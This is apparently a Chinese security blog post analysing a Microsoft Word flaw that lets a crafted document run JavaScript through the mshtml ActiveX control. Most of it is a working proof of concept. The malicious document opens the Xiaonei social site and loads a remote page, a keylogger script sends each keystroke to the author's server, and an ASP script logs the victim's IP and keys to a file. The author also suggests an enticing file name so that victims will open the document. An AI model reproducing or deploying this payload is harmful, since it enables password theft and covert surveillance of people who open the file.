对MS word javascript execution的一些测试

<script type="text/javascript"> </script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script> name="google_ads_frame" marginwidth="0" marginheight="0" src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-1460049757379518&dt=1211904002541&lmt=1211904002&output=html&slotname=0491039036&correlator=1211904002541&url=http%3A%2F%2Fhuaidan.org%2Farchives%2F2009.html&ref=http%3A%2F%2Fhuaidan.org%2Fpage%2F2&frm=0&cc=100&ga_vid=1733618417.1211287439&ga_sid=1211902862&ga_hid=1401323678&ga_fc=true&flash=9.0.124.0&u_h=768&u_w=1024&u_ah=734&u_aw=1024&u_cd=16&u_tz=480&u_java=true" frameborder="0" width="200" scrolling="no" height="200" allowtransparency="allowtransparency">

作者:余弦
来源:0×37 Security

Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群内讨论过。可以得出一些结论:

1、由于安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能,使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;')"></OBJECT>

这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。

2、漏 洞其实出现在xml文件上,类似于上面这样构造后的html用word打开后另存为xml时,里面的数据都被相应转换为xml格式。然而xml里 的<w:ocx w:data=”……” />却可以引发JS的执行。问题就出现在这。而无论后缀是.doc或.rtf或.xml都将以word默认方式打开,此时word充当一个解释 器,<w:ocx w:data=”……” />内的数据被解释执行而引发JS。

3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因与修补这个漏洞这些信息还是有价值的。

既然这个JS能力有限,那就来点好玩的,如这里提到过的:http://www.0×37.com/post/15.html。下面这个POC是这样进行的:当用户打开我们恶意构造后的word文档doc.doc后,会弹出校内网的首页http://www.xiaonei.com(拿它做实验,完全是出于我的惯性……)。接着我们就可以记录用户在这个页面上的键盘记录了:)。也许密码就直接抓过来了(假如其他用户和我一样,打开校内网就直接快速输入密码然后Enter,这个完全是习惯……)。

doc.html代码如下:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20′http://www.0×37.com/Project/poc/docshell.html’;}}}catch(e){}},3000);void(1);”></OBJECT>
HI

按照http://marc.info/?l=bugtraq&m=121121432823704&w=2这里的方法生成doc.doc文档(这就是那个邪恶的文档,改个好名字,方便骗人打开)。

远程的docshell.html代码如下:

<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","http://www.0×37.com/Project/poc/docshell.asp?tmp=”+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById(’x').focus();}catch(e){}},100);
focus();
</script>
</body>
</html>

而远程的docshell.asp代码如下:

<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
'Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>

接着就可以在这http://www.0×37.com/Project/poc/docshell.txt看到我们键盘记录的结果:)。完整文件在这:http://www.0×37.com/Project/poc/wordjs.rar。不过这个键盘记录还是有缺陷的,本想结合这里http://www.0×37.com/post/15.html提到的方法来构造更邪恶的代码,可是并不顺利……那以后再说了:)。现在就等关于这个漏洞的进一步消息

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值